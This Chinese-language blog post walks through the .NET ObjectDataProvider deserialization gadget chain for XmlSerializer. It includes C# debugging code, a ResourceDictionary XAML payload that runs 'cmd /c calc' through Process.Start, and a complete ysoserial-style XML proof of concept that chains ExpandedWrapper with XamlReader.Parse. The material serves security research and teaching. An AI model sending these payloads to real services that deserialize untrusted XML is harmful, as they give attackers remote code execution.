ObjectDataProvider 利用鏈

前置介紹

ObjectDataProvider

命名空間:

System.Windows.Data

程序集:

PresentationFramework.dll

包裝和創建可以用作綁定源的對象。

ObjectDataProvider,顧名思義就是把對象作爲數據源提供給Binding

數據源

WPF (全稱:Windows Presentation Foundation) 是用於替代Windows Form來創建Windows客戶端應用程序,WPF開發過程中主要有以下幾種數據綁定方法,這些對象可以視爲數據源綁定到控件

ResourceDictionary

ResourceDictionary即資源字典,用於wpf開發,資源中也可引入XAML名稱空間

ExpandedWrapper

定義

命名空間:

System.Data.Services.Internal

程序集:

System.Data.Services.dll

系統在內部使用此類,以便可支持預先加載了相關實體的查詢。

此 API 支持產品基礎結構,不能在代碼中直接使用。

public sealed class ExpandedWrapper<TExpandedElement,TProperty0,TProperty1,TProperty2> : System.Data.Services.Internal.ExpandedWrapper<TExpandedElement>

類型參數

TExpandedElement

擴展元素的類型。

TProperty0

要擴展的屬性的類型。

TProperty1

要擴展的屬性的類型。

TProperty2

要擴展的屬性的類型。

利用鏈調試

         MemoryStream memoryStream = new MemoryStream();

            TextWriter writer = new StreamWriter(memoryStream);
            ProcessStartInfo processinfo = new ProcessStartInfo();
            processinfo.FileName = "cmd.exe";
            processinfo.Arguments = " /c calc.exe";

            var process = new Process();
            process.StartInfo = processinfo;

            ObjectDataProvider odp = new ObjectDataProvider();
            odp.MethodName = "Start";
            odp.ObjectInstance = process;

            XmlSerializer xml = new XmlSerializer(typeof(Object));
            xml.Serialize(writer, odp);

在設置ObjectInstance,MethodParameters,MethodName時,ObjectDataProvider都會嘗試執行目標函數,但是在序列化會發現報錯

InvalidOperationException: 不應是類型 System.Windows.Data.ObjectDataProvider。使用 XmlInclude 或 SoapInclude 特性靜態指定非已知的類型。

需要序列化odp對象是一個未知的類。ObjectDataProvider是不能被直接序列化的,可以使用ExpandedWrapper類來做包裝。它的作用就是擴展類的屬性。

修改代碼

 static void Main(string[] args)
        {
        
            MemoryStream memoryStream = new MemoryStream();

            TextWriter writer = new StreamWriter(memoryStream);
   

            var process = new Process();
       

            ObjectDataProvider odp = new ObjectDataProvider();
       
            var Expandedwrapper = new ExpandedWrapper<Process, ObjectDataProvider>();
            Expandedwrapper.ProjectedProperty0 = odp;
            Expandedwrapper.ProjectedProperty0.ObjectInstance = process;
            Expandedwrapper.ProjectedProperty0.MethodParameters.Add("calc");

            Expandedwrapper.ProjectedProperty0.MethodName = "Start";

            XmlSerializer xml = new XmlSerializer(typeof(Object));
            xml.Serialize(writer, Expandedwrapper);

            

        }

img

這樣沒了能執行起來,但是序列化數據失敗了,原因是因爲使用ExpandedWrapper去包裝Process,是無法序列化的。

改造代碼

    public class EvilClass
    {


        public void Evil(string cmd)
        {
            Process process = new Process();
            process.StartInfo.FileName = "cmd.exe";
            process.StartInfo.Arguments = "/c " + cmd;
            process.Start();
        }
    }


static void Main(string[] args)
        {
        
            MemoryStream memoryStream = new MemoryStream();

            TextWriter writer = new StreamWriter(memoryStream);
   

            
       

            ObjectDataProvider odp = new ObjectDataProvider();
       
            var Expandedwrapper = new ExpandedWrapper<EvilClass, ObjectDataProvider>();
            Expandedwrapper.ProjectedProperty0 = odp;
            Expandedwrapper.ProjectedProperty0.ObjectInstance = new EvilClass();
            Expandedwrapper.ProjectedProperty0.MethodParameters.Add("calc");

            Expandedwrapper.ProjectedProperty0.MethodName = "Evil";

            XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<EvilClass, ObjectDataProvider>));
            xml.Serialize(writer, Expandedwrapper);


            memoryStream.Position = 0;

            // 輸出xml
            Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));


        }
    }

img

自定義了一個類和方法 方法 自定義的方法裏面去調用Process去執行命令。這樣序列化數據就不會報錯了。但是在實際利用中肯定是不能這樣用的。因爲目標上沒有我們構造的這個類。所以需要尋找一個合適的類來做串聯。

XamlReader

ExpandedWrapper可以被XmlSerializer序列化,同時XAML還可以通過XamlReader.Parse實現反序列化返回ExpandedWrapper對象。構造的惡意ExpandedWrapper會調用Process進行命令執行.

ResourceDictionary

ResourceDictionary又稱資源字典,使用xaml語法

以下是執行命令的ResourceDictionary執行命令的一個payload

<ResourceDictionary 
                    xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
                    xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" 
                    xmlns:b="clr-namespace:System;assembly=mscorlib" 
                    xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
    <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
        <ObjectDataProvider.MethodParameters>
            <b:String>cmd</b:String>
            <b:String>/c calc</b:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>
  1. xmlns:c 引用了System.Diagnostics命名空間起別名爲c
  2. d:Key="" 起別名爲空,在xaml語法中,Key這個鍵值必須有。
  3. ObjectType表示對象類型
  4. d:Type 等同於typeof()
  5. MethodName是ObjectDataProvider的屬性,傳遞一個Start等於調用Start方法。
  6. c:Process 等同於System.Diagnostics.Process
 static void Main(string[] args)
        {

   
            string xaml = "<ResourceDictionary \r\n                    xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" \r\n                    xmlns:d=\"http://schemas.microsoft.com/winfx/2006/xaml\" \r\n                    xmlns:b=\"clr-namespace:System;assembly=mscorlib\" \r\n                    xmlns:c=\"clr-namespace:System.Diagnostics;assembly=system\">\r\n    <ObjectDataProvider d:Key=\"\" ObjectType=\"{d:Type c:Process}\" MethodName=\"Start\">\r\n        <ObjectDataProvider.MethodParameters>\r\n            <b:String>cmd</b:String>\r\n            <b:String>/c calc</b:String>\r\n        </ObjectDataProvider.MethodParameters>\r\n    </ObjectDataProvider>\r\n</ResourceDictionary>";
            XamlReader.Parse(xaml);


        }

img

怎麼串聯起來的具體可以看yso生成的POC

<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
        <ExpandedElement/>
        <ProjectedProperty0>
            <MethodName>Parse</MethodName>
            <MethodParameters>
                <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
                    <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
                </anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
        </ProjectedProperty0>
    </ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>

先是ExpandedWrapper<XamlReader, ObjectDataProvider>執行了XamlReader.Parse()去解析xaml,xaml構造的是ExpandedWrapper<Process, ObjectDataProvider> ,在ExpandedWrapper<Process, ObjectDataProvider> 執行的時候會去調用Process.Start()來執行 calc

參考

https://www.cnblogs.com/Ivan1ee/p/16226064.html

https://github.com/Y4er/dotnet-deserialization/blob/main/XmlSerializer.md

https://www.freebuf.com/articles/network/323531.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章